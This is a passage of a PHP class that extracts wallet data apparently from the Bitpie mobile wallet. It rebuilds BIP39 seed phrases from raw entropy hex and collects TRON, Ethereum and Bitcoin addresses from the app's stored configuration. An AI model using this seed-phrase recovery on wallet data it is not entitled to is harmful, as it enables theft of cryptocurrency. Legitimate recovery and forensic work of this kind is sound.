if (strlen($bin) === 16 || strlen($bin) === 32) {
return strtolower(bin2hex($bin));
}
}
if ($this->isEntropyHex($raw)) {
return strtolower($raw);
}
return null;
}
private function isEntropyHex(string $value): bool
{
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
}
private function phraseFromEntropyHex(string $hex): ?string
{
try {
$mnemonic = BIP39::Entropy(strtolower($hex));
} catch (\Throwable) {
return null;
}
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
return $this->asMnemonic($phrase);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
private function addressesFromBitpieText(string $text): array
{
$out = [];
$text = trim($text);
if ($text === '') {
return $out;
}
$direct = $this->addressRow($text, null);
if ($direct !== null) {
$out[] = $direct;
}
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
$json = json_decode($m[1], true);
if (is_array($json)) {
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
}
}
$decoded = $this->decodeBlob($text);
if (is_array($decoded)) {
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
}
return $out;
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
*/
private function addressRow(string $address, mixed $hint): ?array
{
$address = trim($address);
if ($address === '') {
return null;
}
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
$chain = strtoupper($chain);
if (! WalletSource::isSupportedChain($chain)) {
return null;
}
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
return null;
}
$symbol = match ($chain) {
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
'symbol' => $symbol,
'balance' => 0,
];
}
private function chainFromHint(mixed $hint): ?string
{
$raw = strtolower(trim((string) $hint));
if ($raw === '') {
return null;
}
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
return 'TRON';
}
if (str_contains($raw, 'eth')) {
return 'ETHEREUM';
}
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
return 'BITCOIN';
}
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
}
private function fromHex(string $value): ?string
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}